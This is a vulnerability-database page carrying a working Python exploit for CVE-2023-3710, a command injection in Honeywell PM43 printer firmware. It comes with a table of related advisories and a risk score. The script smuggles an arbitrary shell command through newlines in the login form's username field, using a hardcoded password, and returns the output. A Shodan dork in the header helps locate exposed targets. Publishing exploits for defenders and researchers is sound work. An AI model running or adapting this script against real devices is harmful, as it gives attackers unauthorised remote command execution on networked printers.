Honeywell PM43 < P10.19.050004 - Remote Code Execution (RCE)
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
 | Honeywell PM43 < P10.19.050004 - Remote Code Execution Exploit | 14 Mar 202400:00 | – | zdt |
 | The vulnerability of the printer web page module (ARM) of Honeywell PM43, which allows a intruder to execute arbitrary commands | 21 Oct 202300:00 | – | bdu_fstec |
 | CVE-2023-3710 | 13 Sep 202300:23 | – | circl |
 | Honeywell Products Command Injection Vulnerability | 12 Sep 202300:00 | – | cnnvd |
 | CVE-2023-3710 | 12 Sep 202319:55 | – | cve |
 | CVE-2023-3710 Printer web page invalid command execution | 12 Sep 202319:55 | – | cvelist |
 | Honeywell PM43 Printers - Command Injection | 7 Aug 202620:01 | – | nuclei |
 | CVE-2023-3710 | 12 Sep 202320:15 | – | nvd |
 | CVE-2023-3710 | 12 Sep 202320:15 | – | osv |
 | Honeywell PM43 Remote Code Execution | 14 Mar 202400:00 | – | packetstorm |
10
#- Exploit Title: Honeywell PM43 < P10.19.050004 - Remote Code Execution (RCE)
#- Shodan Dork: http.title:PM43 , PM43
#- Exploit Author: ByteHunter
#- Email: [email protected]
#- Frimware Version: versions prior to P10.19.050004
#- Tested on: P10.17.019667
#- CVE : CVE-2023-3710
import requests
import argparse
BLUE = '\033[94m'
YELLOW = '\033[93m'
RESET = '\033[0m'
def banner():
banner = """
╔════════════════════════════════════════════════╗
CVE-2023-3710
Command Injection in Honeywell PM43 Printers
Author: ByteHunter
╚════════════════════════════════════════════════╝
"""
print(YELLOW + banner + RESET)
def run_command(url, command):
full_url = f"{url}/loadfile.lp?pageid=Configure"
payload = {
'username': f'hunt\n{command}\n',
'userpassword': 'admin12345admin!!'
}
try:
response = requests.post(full_url, data=payload, verify=False)
response_text = response.text
html_start_index = response_text.find('<html>')
if html_start_index != -1:
return response_text[:html_start_index]
else:
return response_text
except requests.exceptions.RequestException as e:
return f"Error: {e}"
def main():
parser = argparse.ArgumentParser(description='Command Injection PoC for Honeywell PM43 Printers')
parser.add_argument('--url', dest='url', help='Target URL', required=True)
parser.add_argument('--run', dest='command', help='Command to execute', required=True)
args = parser.parse_args()
response = run_command(args.url, args.command)
print(f"{BLUE}{response}{RESET}")
if __name__ == "__main__":
banner()
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Mar 2024 00:00Current
8.4High risk
Vulners AI Score8.4
CVSS 3.19.8 - 9.9
EPSS0.33094
SSVC